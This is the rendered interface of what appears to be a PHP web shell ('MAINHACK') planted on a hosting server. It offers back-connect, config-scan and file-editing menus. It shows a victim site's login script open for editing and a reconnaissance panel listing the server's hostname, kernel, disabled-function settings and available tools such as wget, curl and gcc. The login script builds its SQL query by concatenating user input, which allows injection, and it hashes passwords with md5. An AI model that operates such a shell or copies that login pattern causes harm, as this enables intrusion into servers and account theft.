[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: user-login.php
<?php include('header.php'); //echo base64_decode($_REQUEST['pg']); ?> <style> .foot-bg-index{ display:none; }a.forget { color: #f00; background: #eaeaea;} </style> <!-- Login - user-login --> <div class="sing-up user-login" style=""> <div class="container"> <div class="sing-up-text" style=""> <div class="sing-up-text-bg"> <h3>Log <span>In</span></h3> <h5>Don't have an account? <a href="user-sign.php" target="_blank"><b>Sign Up</b></a></h5> </div> <div class="sing-up-form" style="width: 100%;"> <form method="post" id="form" method="post" enctype="multipart/form-data" > <div class="log-input" id="b_name"> <span>Email ID/Phone No<b>*</b></span> <label><i class="fa fa-user"></i></label> <input type="text" placeholder="Email Id/Phone No" id="user" name="email" required=""> </div> <div class="log-input" id="b_name"> <span>Password <b>*</b></span> <label><i class="fa fa-lock" aria-hidden="true"></i></label> <input type="password" placeholder="Password" id="pass1" onkeyup="checkPass(); return false;" name="password" required=""> </div> <div class="log-input" id="b_name"> <span>Captcha <b>*</b></span> <label><i class="fa fa-pen" aria-hidden="true"></i></label> <input type="text" name="captcha" style="color: #fffbfbe3 !important; background: url(images/Captcha.png) repeat; padding: 10px 0 8px 50px; font-weight: bold; letter-spacing: 5px;" value="<?php echo rand(0,1999); ?>" readonly> </span> </div> <div class="log-input" id="b_name"> <span>Captcha Please <b>*</b></span> <label><i class="fa fa-pen" aria-hidden="true"></i></label> <input type="text" name="put_captcha" placeholder="Captcha Please" required=""> </div> <!--- <a href="user-forgetpassword.php" class="forget" target="_blank">Forgot Password?</a>--> <a href="forget-password.php?tab=<?=base64_encode('customers')?>&type=<?=base64_encode('customers')?>" class="forget-pass" >Forgot Password or Email?</a> <a href="login_otp.php?tab=<?=base64_encode('customers')?>&type=<?=base64_encode('customers')?>" class="forget-otp" >Login with OTP</a> <div class="log-input submitbox" id="b_name"> <input type="submit" class="" name="sub" id="btn" value="submit"> </div> </form> <?php $login=new Oops($db); if(isset($_POST['sub'])){ if($_POST['captcha']!=$_POST['put_captcha']){ echo "<script>alert('Oops !! Captcha is invalid!!')</script>"; }else{ $m=filter_var($_POST['email'],FILTER_SANITIZE_STRING); $p=md5(filter_var($_POST['password'],FILTER_SANITIZE_STRING)); /* $login->col1="email"; $login->col2="password"; $login->table="customers"; */ $sq="select * from customers where (email='".$m."' or phone='".$m."') and password='".$p."'"; $r=$con->prepare($sq); //$r=$login->login(); if($r->execute()){ $num = $r->rowCount(); if($num>0){ while($row= $r->fetch(PDO::FETCH_ASSOC)) //fetching the contents of the row { extract($row); if($row['status']!="ACTIVE"){ echo "<script>sweetAlert('Oops','Your mail id is not verified.Please contact the site admin','error');</script>"; }else{ $uid=session_id(); $_SESSION['Logged'] = 1; $_SESSION['login_user'] = $row['name']; $_SESSION['username'] = $_POST['email']; $_SESSION['login_id'] = $row['customer_id']; $_SESSION['sessionid'] = $uid; $_SESSION['location']=$row['locality']; if(!empty($_REQUEST['pg'])){ $location=base64_decode($_REQUEST['pg']); header("location:add-cart.php"); }else{ header("location:index.php"); } //exit(); } } }else{ echo "<script>sweetAlert('Oops','Please give correct email/password','error');</script>"; } } } } ?> </div> </div> </div> </div> <?php include('footer.php');?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 677.7 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619